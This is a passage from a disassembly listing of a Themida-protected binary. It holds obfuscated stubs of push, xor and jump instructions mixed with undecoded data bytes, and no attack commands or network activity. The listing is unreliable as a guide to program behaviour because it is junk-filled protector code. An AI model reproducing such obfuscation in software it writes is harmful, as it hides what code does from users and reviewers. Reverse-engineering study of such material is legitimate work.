		dd 4C181h, 0BD550000h, 4, 0FF91E0E9h, 2CF381FFh, 29523E1Ah
		dd 0D1F75BD9h, 0BC50C181h, 5D516844h, 0BEB0E959h, 8756FFFFh
		dd 0F791240Ch, 0C8791D0h, 0CE815E24h, 5C8C407Bh, 0FF6CF4E9h
		dd 83AB9FFh, 0E1814F8Bh, 30CF35C1h, 240CFF51h, 0E92414F7h
		dd 0FFFF5F2Dh
; ---------------------------------------------------------------------------


loc_5102C8:				; CODE XREF: Themida_:005063E0j
		mov	[esp], esi
		xor	dword ptr [esp], 386D1D2Fh
		jmp	loc_50942C
; ---------------------------------------------------------------------------


loc_5102D7:				; CODE XREF: Themida_:005145F2j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_5168D5
; ---------------------------------------------------------------------------


loc_5102EF:				; CODE XREF: Themida_:0050A5EDj
		inc	ecx
		sub	ecx, 0DF47F14h
		not	ecx
		sub	ecx, 71EE134Fh
		push	ecx
		jmp	loc_503076
; ---------------------------------------------------------------------------


loc_510304:				; CODE XREF: Themida_:0050AA1Bj
		or	edx, 7920FB4h
		push	esi
		mov	esi, 0DFFEEFB4h
		xor	edx, esi
		pop	esi
		add	edx, eax
		mov	ecx, [edx]
		pop	edx
		pop	eax
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	7EB3735Bh
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	3D05048Ch
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 154837DDh
		add	esi, 56664006h
		sub	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_512923
; ---------------------------------------------------------------------------


loc_510350:				; CODE XREF: Themida_:00509A11j
		push	eax
		mov	eax, 5CCC6B89h
		xor	eax, 4A77402Eh
		sub	esp, 4
		jmp	loc_50CF4C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 0E9000000h, 0FFFF5C3Eh, 51E28952h,	0FF6CD7E9h
		dd 0E8C15CFFh, 0A2BB5307h, 0E9089661h, 0FFFF7A4Bh
; ---------------------------------------------------------------------------


loc_510388:				; CODE XREF: Themida_:005047FAj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		push	18D51CDCh
		pop	ebp
		jmp	loc_50E645
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 1Ch
		dd 0E90BC019h, 0FFFFDE5Ch, 6868E189h, 8900003Ch, 1ABF243Ch
		dd 0C1478476h, 586802EFh, 89000051h, 0BB532434h, 4C5149F3h
		dd 457419BEh, 5BDE2951h, 0E30C681h, 0BF570F16h,	4BCA024Dh
		dd 0D9C3C781h, 0FE010752h, 0D3B4E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5103E6:				; CODE XREF: Themida_:0051450Dj
		shl	eax, 2
		push	ebx
		mov	ebx, 46F9408Bh
		and	eax, ebx
		pop	ebx
		or	eax, 28A011CBh
		shr	eax, 2
		not	eax
		jmp	loc_506366
; ---------------------------------------------------------------------------
		db 0Dh,	82h, 76h
		dd 8D355E51h, 0F7204F08h, 6D0F2DD0h, 0C5895344h, 0E7F58158h
		dd 156A467h, 58E95DEBh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510423:				; CODE XREF: Themida_:00504A1Bj
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_508B29
; ---------------------------------------------------------------------------
		dd 54243C89h, 4BD555Fh,	0E9000000h, 0FFFFC97Eh,	335E68h
		dd 89E95400h, 2900005Ah, 0E99C2404h, 0FFFF267Bh, 3A9968h
		dd 240C8900h, 4B9h, 59CF0100h, 5C243C87h, 0E902C283h, 0FFFFF1B2h
		dd 4247401h, 240C8B5Eh,	6F7168h, 242C8900h, 0BF57E589h
		dd 4, 815FFD01h, 4C5h, 242C3300h, 33242C31h, 815C242Ch
		dd 4C1h, 4C18300h, 0FF679FE9h, 6480BBFFh, 0EE684F75h, 89000015h
		dd 0E953243Ch, 0FFFF4E28h, 2B4695BAh, 1DE2810Ah, 814BB948h
		dd 8B0F8EE2h, 0D2F74A02h, 567CCA81h, 0F281638Eh, 1D32683h
		dd 1FACF281h, 0D08964D5h, 58C2015Ah, 565AD701h,	32E9E689h
		dd 58FFFFBCh, 0E92434FFh, 0FFFFD5C3h, 348BF501h, 4C48324h
		dd 7E9E829h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510507:				; CODE XREF: Themida_:0050D4BDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ecx, 2D1372EEh
		sub	ecx, 6B8E7F86h
		jmp	loc_5096DD
; ---------------------------------------------------------------------------
		dd 31240433h, 4332404h,	24248B24h, 0E904EC83h, 0FFFF8870h
; ---------------------------------------------------------------------------


loc_51053C:				; CODE XREF: Themida_:0050AC06j
		add	esp, 4
		push	3973h
		mov	[esp], eax
		jmp	loc_507155
; ---------------------------------------------------------------------------


loc_51054F:				; CODE XREF: Themida_:0050A2B6j
		push	edi
		mov	edi, 4
		jmp	loc_509773
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 5C240C87h, 0FFB395E9h, 0FBBF57FFh, 81213D5Eh, 0ECFA90EFh
		dd 4D49E9A7h, 0E6C00000h, 2BC68002h, 0FF81CCE9h
		db 0FFh
byte_510585	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00502A20o
		dd 0FFE746E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51058D:				; CODE XREF: Themida_:005045E0j
		push	ecx
		push	eax
		mov	eax, 77D9579Ch
		mov	ecx, 77D957A0h
		jmp	loc_50DC76
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4ECh, 240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5052B5
; ---------------------------------------------------------------------------
byte_5105BF	db 0ADh			; DATA XREF: Themida_:0050298Co
		dd 9B22B62Dh, 5A9A2D32h, 0BD2D1479h, 0E9242206h, 0FFFF6414h
		dd 0B461E95Ch, 5457FFFFh, 5CEFE9h, 0B5E95700h, 0F7FFFF6Ah
		dd 0D1F381DBh, 5397FFDFh, 6C242C81h, 5D32F849h,	496CC581h
		dd 895B32F8h, 0B82EE9EEh, 0F289FFFFh, 0CDBB535Eh, 0E95A342Dh
		dd 0FFFF5006h, 126CEB81h, 0CB292C4Dh, 126CC381h, 29592C4Dh
		dd 0B0E95BDAh
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51062B:				; CODE XREF: Themida_:005060F3j
		mov	[esp], ebp
		jmp	loc_506022
; ---------------------------------------------------------------------------
		db 0F7h
		dd 1BA52D8h, 29000000h,	7BE95AD0h, 68FFFFE0h, 36617AE5h
		dd 4EC8358h, 0E9243489h, 0FFFF30C7h, 9CC83B5Ch,	0FF246EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51065D:				; CODE XREF: Themida_:0050EF63j
		push	ebx
		mov	ebx, 72627B98h
		or	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	edx, 4
		sub	edx, 5A1871CBh
		dec	edx
		add	edx, 578129EAh
		xor	edx, 4D7601Fh
		add	ebp, 36E3297Ah
		add	ebp, edx
		jmp	loc_514D5A
; ---------------------------------------------------------------------------


loc_51068E:				; CODE XREF: Themida_:0051627Fj
		and	ecx, 35C427BFh
		xor	ecx, 12A76894h
		sub	esp, 4
		jmp	loc_50A9F5
; ---------------------------------------------------------------------------
		dw 487h
		dd 2C895C24h, 81E58924h, 4C5h, 60B8E900h, 2C890000h, 959BD24h
		dd 0EB295485h, 3F9B685Dh, 1DE90000h, 81000071h,	4ECh, 24248900h
		dd 4BF57h, 65E90000h, 0F700006Eh, 841FE9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5106E6:				; CODE XREF: Themida_:00516BE0j
		xchg	ah, [esp]
		dec	ah
		xchg	ah, [esp]
		jmp	loc_51115E
; ---------------------------------------------------------------------------
		db 0B8h
		dd 668B3F9Fh, 0DF05D0F7h, 0D311B0Dh, 6CB55DF8h,	0DE22D40h
		dd 81E9388Ah, 81FFFFD6h, 6E2B23EBh, 0F3814B71h,	9678FA7Eh
		dd 0DFE9D889h, 81000035h, 3C1DEEC3h, 4198E928h,	34FFFFFFh
		dd 0C4835A24h, 637AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51073A:				; CODE XREF: Themida_:00512D85j
		push	637Eh
		mov	[esp], eax
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		db 52h
		dd 2BAh, 5AD02900h, 5C240487h, 241C8966h, 269EE9h, 240C3300h
		dd 0E924248Bh, 2BA0h, 53241489h, 4BBh, 5BDA8900h, 148BD089h
		dd 4C48124h, 81000000h,	433944EAh, 57C2012Eh, 932475BFh
		dd 0BA52502Bh, 659D7923h, 0E70984B8h, 0F40FE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51079E:				; CODE XREF: Themida_:00514A3Aj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_50332E
; ---------------------------------------------------------------------------


loc_5107AD:				; CODE XREF: Themida_:0050A1F2j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		pop	eax
		jmp	loc_50C421
; ---------------------------------------------------------------------------
		dw 8853h
		dd 5BDD88F3h, 0FF3EBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5107D1:				; CODE XREF: Themida_:0050A90Dj
		add	ecx, edi
		pop	edi
		jmp	loc_515FFD
; ---------------------------------------------------------------------------
		db 89h,	0EFh, 5Dh
		dd 0F4669BBh, 0FFFB293Bh, 835F2434h, 0D80104C4h, 0E289525Bh
		dd 0A11CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5107F6:				; CODE XREF: Themida_:0050F762j
		add	esp, 2
		jmp	loc_505236
; ---------------------------------------------------------------------------
		dw 3487h
		dd 14895C24h, 81E28924h, 4C2h, 0F6B85000h, 0E9725369h
		dd 0FFFF90FEh
; ---------------------------------------------------------------------------


loc_510818:				; CODE XREF: Themida_:0050BA17j
		pop	ebp
		add	ecx, edi
		pop	edi
		jmp	loc_50F436
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0FD7864C6h, 50C60100h, 0FD7864B8h, 58C62900h
		dd 4EC81h, 3C890000h, 0E9E78924h, 0FFFF35E6h, 592434FFh
		dd 4C481h, 0B60F0000h, 148B66C0h, 0D3E95324h, 5EFFFFA3h
		dd 60B7E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510866:				; CODE XREF: Themida_:00511169j
		push	eax
		mov	al, 78h
		add	al, 15h
		mov	dl, al
		jmp	loc_506E4A
; ---------------------------------------------------------------------------
		dw 3489h
		dd 4BE24h, 0EB810000h, 0FFF021Ch, 76E9F301h, 0C1FFFF88h
		dd 0ED8105E5h, 0FFFFFFFFh, 0D102EDC1h, 44F581E5h, 0E95BD691h
		dd 5537h
; ---------------------------------------------------------------------------


loc_5108A0:				; CODE XREF: Themida_:0051286Fj
		not	dword ptr [esp]
		mov	ecx, [esp]
		push	2501h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		jmp	loc_5168CB
; ---------------------------------------------------------------------------
word_5108B6	dw 0C8Bh		; DATA XREF: Themida_:0050290Co
		dd 0E0895024h, 405h, 4BE5600h, 0E9000000h, 0FFFF48ECh
; ---------------------------------------------------------------------------


loc_5108CC:				; CODE XREF: Themida_:00512A45j
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		jmp	loc_5124D4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 241C335Ch, 33241C31h, 665C241Ch, 6824048Bh
		dd 6D42h, 0FFAB14E9h, 240C8BFFh, 8004C483h, 0C32823C3h
		dd 0E923EB80h, 6C00h
; ---------------------------------------------------------------------------


loc_510920:				; CODE XREF: Themida_:00505A7Ej
		mov	ebx, ecx
		jmp	loc_50AF91
; ---------------------------------------------------------------------------
byte_510927	db 0FFh			; DATA XREF: Themida_:00502870o
a4Xh2		db '4$XhÓ2',0
		align 10h
		dd 81241489h, 4ECh, 24248900h, 0FF28D4E9h, 308AB9FFh, 0E9C147C0h
		dd 51E18107h, 0C1270713h, 0E98105E9h, 90E5DCFAh, 0E959CE31h
		dd 0FFFFE3D3h, 4EE81h, 0E9560000h, 2FF5h
; ---------------------------------------------------------------------------


loc_51096C:				; CODE XREF: Themida_:00509FDCj
		sub	eax, 53BCBA44h
		jmp	loc_503110
; ---------------------------------------------------------------------------


loc_510976:				; CODE XREF: Themida_:0050814Ej
		mov	cl, bl
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_516036
; ---------------------------------------------------------------------------
		db 0BDh
		dd 7B1C0420h, 0FFCBF7E9h, 1E55BEFFh, 0ADE9264Dh
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510997:				; CODE XREF: Themida_:005115C9j
		pop	edx
		jmp	loc_50D803
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 1
		dd 7133D52Dh, 58C2296Fh, 0FF7B0AE9h, 2434FFFFh,	0FF99ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5109B5:				; CODE XREF: Themida_:0050A965j
		push	709Ch
		jmp	loc_50466F
; ---------------------------------------------------------------------------


loc_5109BF:				; CODE XREF: Themida_:0050CFC6j
		sub	esi, 6863D69h
		jmp	loc_5115FF
; ---------------------------------------------------------------------------


loc_5109CA:				; CODE XREF: Themida_:0050E6B9j
		mov	edx, 231E6352h
		add	ebx, edx
		jmp	loc_516AC1
; ---------------------------------------------------------------------------
		dw 1487h
		dd 4D25C24h, 0FCE99C24h, 66FFFFCBh, 0E9241489h,	0FFFFF3E6h
		dd 0F6CD7DB8h, 416FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5109F6:				; CODE XREF: Themida_:00515F73j
		mov	ecx, esp
		jmp	loc_50E3DE
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 0F72DE801h, 5D4F9358h, 57E568h, 24148900h, 7F306857h
		dd 3C8B692Ch, 7BF1E924h, 0D7F7FFFFh, 4DE368h, 241C8900h
		dd 1915BE56h, 0ECBB0938h, 1F6C7E6h, 0C7815EF3h,	4F41130Ch
		dd 0EF81DF29h, 4F41130Ch, 81241C8Bh, 4C4h, 1EF8100h, 0E9000000h
		dd 0FFFFF30Fh
; ---------------------------------------------------------------------------


loc_510A58:				; CODE XREF: Themida_:00511B61j
		pop	dword ptr [esp]
		jmp	loc_5039BC
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0FF2062E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510A69:				; CODE XREF: Themida_:005030B3j
		pop	ebx
		push	esi
		jmp	loc_516D07
; ---------------------------------------------------------------------------


loc_510A70:				; CODE XREF: Themida_:00514BB6j
		add	dword ptr [esp], 4184027Ah
		jmp	loc_505DB8
; ---------------------------------------------------------------------------


loc_510A7C:				; CODE XREF: Themida_:005100C9j
		push	esi
		pop	edx
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		dec	edx
		push	eax
		mov	eax, 43954939h
		neg	eax
		shr	eax, 7
		inc	eax
		add	eax, 1647DFDFh
		sub	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 485D2362h
		jmp	loc_50F270
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6E17E9h, 68E18900h, 0C2Ah, 0E9243C89h, 0FFFF5DDDh
; ---------------------------------------------------------------------------


loc_510AC0:				; CODE XREF: Themida_:0050A0C3j
		pop	esp
		sub	edi, 204713FFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 120B0FB3h
		or	ebx, 1C0B505Bh
		jmp	loc_502E9A
; ---------------------------------------------------------------------------
		dd 4EE9D831h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510AE7:				; CODE XREF: Themida_:0050A81Dj
		mov	esi, esp
		jmp	loc_504A6B
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 24043359h, 0FF521FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510AF9:				; CODE XREF: Themida_:0050E7B5j
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_5032D0
; ---------------------------------------------------------------------------
		db 0BDh
		dd 416821E3h, 2F97EB81h, 0EB297463h, 2F97C381h,	0F75D7463h
		dd 59B5E9DBh, 0FF51FFFFh, 0E9042474h, 0FFFF78EAh, 31243C33h
		dd 3C33243Ch, 5A75E924h, 89560000h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 0D6E4805Ch,	0D4F6CCFEh, 0C046C480h
		dd 0F48006ECh, 0B2EB80A9h, 0C380E328h, 24048BB2h, 0E904C483h
		dd 0FFFF7D5Fh, 1F4B80BFh, 81DFF777h, 0E65095C7h, 0F3F78156h
		dd 8116246Ch, 3806C0F7h, 2CEF813Ch, 29D11F58h, 0D89CE9FDh
		dd 248BFFFFh, 2404D324h, 1F2DE99Ch, 489FFFFh, 508FE924h
		dd 0C481FFFFh, 4, 0B54DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510BB2:				; CODE XREF: Themida_:00513FDDj
		mov	ebx, 2E6D0922h
		neg	ebx
		jmp	loc_50C8CB
; ---------------------------------------------------------------------------
		dw 0C689h
		dd 0F2215B58h, 0FFC2835Eh, 8105E2C1h, 9375E4C2h, 0CEC6818Ch
		dd 8151EA2Fh, 0FB5C05C6h, 0C7C5E952h, 0C083FFFFh, 24048704h
		dd 81C3305Ch, 4ECh, 24148900h, 5C6C68h,	240C8900h, 0FFF262E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510C01:				; CODE XREF: Themida_:00510DB2j
		pop	esp
		mov	[esp], edx
		push	edx
		jmp	loc_5145DD
; ---------------------------------------------------------------------------
		db 81h
		dd 5F78C2EAh, 0E9D509D5h, 0FFFFC04Ah, 6344685Ch, 42E90000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510C23:				; CODE XREF: Themida_:00510225j
		sub	esp, 4
		mov	[esp], esi
		push	1F094946h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 0ACF70BE1h
		mov	ecx, esi
		mov	esi, [esp]
		push	ebx
		jmp	loc_50A6C4
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 4A6E68h, 241C8900h, 2F6F5BBBh, 83D3F761h,	0BF57FFC3h
		dd 0
		dd 565EEF81h, 0DF291FD2h, 565EBE56h, 0F7011FD2h, 31FB315Eh
		dd 5FFB31DFh, 0FF9B07E9h
		db 0FFh
byte_510C85	db 0ADh, 68h, 82h	; DATA XREF: Themida_:00502984o
		dd 89000010h, 3468241Ch, 0E95A3E0Fh, 0FFFFFD15h
dword_510C98	dd 24048B66h, 5DB7E953h, 0F2010000h, 0E9D0095Eh, 0FFFF7081h
					; DATA XREF: Themida_:0050281Co
		dd 12A68h, 240C8900h, 4EC81h, 3C890000h, 25D6824h, 505F48CEh
		dd 797D3468h, 0C709582Ah, 23C78158h, 570D4CA2h,	68535F59h
		dd 4BA740ACh, 70CB815Bh, 813E0213h, 0C2FACBC3h,	5BD901B7h
		dd 0C181D9F7h, 53CC94D3h, 8359CF29h, 48904ECh, 579AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510D02:				; CODE XREF: Themida_:005093CEj
		add	eax, 4
		jmp	loc_511A53
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 8EFBCF28h, 0E95AD601h, 0FFFF24AAh, 0EE6AE72Dh, 387F057Ch
		dd 360D227Ch, 2D0B3704h, 82A2FD0Ah, 5758C731h, 0A5242C81h
		dd 0E9532565h, 0FFFF3E34h, 5C5CB850h, 6E902CEh,	0C1FFFFE4h
		dd 0E98106E1h, 4B6F009Dh, 0FFF1F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510D55:				; CODE XREF: Themida_:00504BD2j
		pop	ebp
		push	ebp
		push	ecx
		mov	ecx, 61670F7Fh
		xor	ecx, 7B9D482Ah
		mov	ebp, ecx
		pop	ecx
		neg	ebp
		xor	ebp, 0B536B110h
		xor	ebx, ebp
		jmp	loc_50A1D0
; ---------------------------------------------------------------------------
		db 8, 0CBh, 0FFh
		dd 81592434h, 4C4h, 0B3535000h,	8BD888A8h, 0C483241Ch
		dd 96A9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510D92:				; CODE XREF: Themida_:0050A929j
		mov	edx, 4
		mov	eax, edx
		pop	edx
		add	[esp+4], eax
		pop	eax
		jmp	loc_50F10E
; ---------------------------------------------------------------------------
		dd 8324148Bh, 30E904C4h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510DAF:				; CODE XREF: Themida_:00516497j
		pop	dword ptr [esp]
		jmp	loc_510C01
; ---------------------------------------------------------------------------
		db 81h
		dd 2C2h, 25A5E900h, 68050000h, 1755319h, 0C6A0E9D8h, 0FE89FFFFh
		dd 48F2E9h, 4EC8300h, 1D47E9h
		db 0
; ---------------------------------------------------------------------------


loc_510DDD:				; CODE XREF: Themida_:00503868j
		inc	ecx
		xor	ecx, 9535C3h
		sub	ecx, 0A1C8E8A0h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	[edi+24h], ecx
		push	dword ptr [esp]
		jmp	loc_503F28
; ---------------------------------------------------------------------------
		dd 4EC815Fh, 89000000h,	0BA52240Ch, 13570199h, 495AD189h
		dd 8105E9C1h, 47E89BF1h, 0E9CF0173h, 0FFFFC1DDh, 4EC81h
		dd 14890000h, 0E97DB224h, 0FFFF5F0Ah, 4EC835Dh,	52241C89h
		dd 0F2808DB2h, 2E2C070h, 80B3CA80h, 0EA809FEAh,	0CCEA800Bh
		dd 0F65AD788h, 0EF780D7h, 0EC81E786h, 4, 88241489h, 0F65266E2h
		dd 5A662414h, 88D38853h, 865A5BDCh, 7FF780E7h, 5605EFC0h
		dd 0A3E9E689h, 5500001Ah, 2464B3BDh, 5DE8317Ch,	0FF7837E9h
		dd 45EC80FFh, 58E328h, 246866C3h, 0C89667Eh, 0DAB524h
		dd 0E95966EBh, 0FFFF3149h, 2C4A0559h, 0D8010038h, 382C4A2Dh
		dd 241C8B00h, 4C481h, 72E90000h
		db 5Ah,	2 dup(0)
byte_510ECF	db 0FFh			; DATA XREF: Themida_:00502A74o
		dd 669D1C77h, 2414D359h, 1BEDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510EDE:				; CODE XREF: Themida_:0050D03Fj
		xor	ch, 1Bh
		or	ch, 0EFh
		xor	ch, 2Fh
		xor	bl, ch
		pop	ecx
		jmp	loc_50FFB5
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 48BC501h,	4C48324h, 8B242C87h, 0C4E92424h, 0BFFFFF1Bh
		dd 43706B8Dh, 5085E781h, 0F78106D6h, 51E92DA0h,	6390C781h
		dd 0D7F72F10h, 0E9D0F797h, 0FFFF3BEEh, 14F7575Bh, 0CF815F24h
		dd 5A0E7F9Eh, 9A62E952h, 0EB2CFFFFh, 0EC815B66h, 4, 0FF1D0DE9h
		dd 9AC281FFh, 811BC650h, 52C20EEAh, 0FFD58995h,	0E95A2434h
		dd 0FFFF5D3Ah, 79CBA2BAh, 5AD03134h, 44E9C729h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510F6F:				; CODE XREF: Themida_:005048B1j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	eax, esi
		xor	esi, eax
		jmp	loc_50F967
; ---------------------------------------------------------------------------


loc_510F81:				; CODE XREF: Themida_:0050C0DFj
		mov	esp, [esp]
		mov	edi, [esp]
		push	62Ah
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5157F9
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF82E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510FB1:				; CODE XREF: Themida_:00508835j
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_50C002
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3C0C2DD0h, 9D052BC8h, 0E9F2B6B7h, 6BC2h, 0E904EC83h
		dd 0FFFF4192h
; ---------------------------------------------------------------------------


loc_510FD8:				; CODE XREF: Themida_:005099E4j
					; Themida_:0050FAD8j
		push	1F89h
		mov	[esp], ebx
		jmp	loc_50777B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FF2A7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510FED:				; CODE XREF: Themida_:00517965j
		push	ebx
		mov	ebx, 258D4101h
		not	ebx
		jmp	loc_506325
; ---------------------------------------------------------------------------
aSsn		db 'SéN\',0
		align 10h
aUs		db 'Ué$;',0
		align 2


loc_511006:				; CODE XREF: Themida_:00509D73j
		add	esp, 4
		add	edx, 0B34F29F2h
		push	ebx
		jmp	loc_515337
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 4Dh
		dd 811A1E32h, 1F5653C9h, 8AE9812Ah, 0E92B6A00h,	0FFFFA01Ah
; ---------------------------------------------------------------------------


loc_51102C:				; CODE XREF: Themida_:00516B8Fj
		add	ebx, 662CDC80h
		sub	edx, 6BDC4642h
		jmp	loc_50340E
; ---------------------------------------------------------------------------
		db 0BEh, 2, 0
		dd 0F2010000h, 8324348Bh, 0F2E904C4h, 0D2000046h, 0E99C2424h
		dd 0FFFF1A73h, 0E9240C89h, 0FFFF2D10h, 1C8BDD88h, 4C48324h
		dd 0EF30FD30h, 0DFF6FD30h, 5366FD86h, 0A00EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51107A:				; CODE XREF: Themida_:00508795j
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	al, 0A0h
		mov	bl, 41h
		add	bl, al
		pop	eax
		push	ax
		push	ecx
		mov	cl, 1Dh
		mov	ah, 37h
		jmp	loc_516AB9
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 1820E9h, 0C6E95500h,	81000050h, 317ED6F7h, 0E9FB3170h
		dd 0FFFF8D69h, 8B241C87h, 4892424h, 2434FF24h, 46A9E9h
		dd 0E7684000h, 0E9000037h, 0FFFF5BE1h, 1C781h, 3AE90000h
		dd 29FFFFC0h, 0E28159CAh, 7BF17BEFh, 3376CA81h,	0D2F759F3h
		dd 395DEA81h, 0FCE90754h, 1FFFFA7h, 241C8BDDh, 4C481h
		dd 0ED810000h, 15C4566Fh, 8324348Bh, 0BE5604C4h, 4, 555EF501h
		dd 42474FFh, 0FCCE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511126:				; CODE XREF: Themida_:00511723j
		mov	[esp], ebp
		push	eax
		mov	eax, esp
		jmp	loc_51445A
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0D7h
		dd 176DA5Dh, 0BF575BD8h, 67BA0D16h, 0FACF814Fh,	4F5F842Bh
		dd 0FFAF77E9h
		db 0FFh
byte_51114D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00502850o
		dd 1D666824h, 0C890000h, 0E56AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51115E:				; CODE XREF: Themida_:005106EEj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		jmp	loc_510866
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 81E78924h, 4C7h, 4BB5300h, 1000000h,	247DE9DFh, 66520000h
		dd 0E96657BAh, 0FFFF6835h
; ---------------------------------------------------------------------------


loc_511190:				; CODE XREF: Themida_:005126BBj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_505399
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0F2h
		dd 0F75BEA7Dh, 0B5F181D1h, 0F7057B20h, 2EA6E9D9h, 0E3BB0000h
		dd 4B3C0D1Bh, 4B02EBC1h, 0FF1BE3E9h, 0E28952FFh, 4C281h
		dd 0C2810000h, 2, 5C241487h
		db 2Ch,	7Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5136F6
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4C381h, 1C870000h, 1A99E924h,	3ABBFFFFh
		dd 4B06E93Dh, 0EBD1D3F7h, 38E9D3F7h, 83FFFFBFh,	0EDC101EDh
		dd 0EAF58108h, 4D23760Dh, 190E9h
		db 0
; ---------------------------------------------------------------------------


loc_511221:				; CODE XREF: Themida_:0051257Aj
		add	ebp, 132D3D55h
		jmp	loc_5124B6
; ---------------------------------------------------------------------------


loc_51122C:				; CODE XREF: Themida_:005153DDj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_516AD6
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 74010000h, 8AE90424h, 8FFFFF52h, 248B2404h, 48B6624h
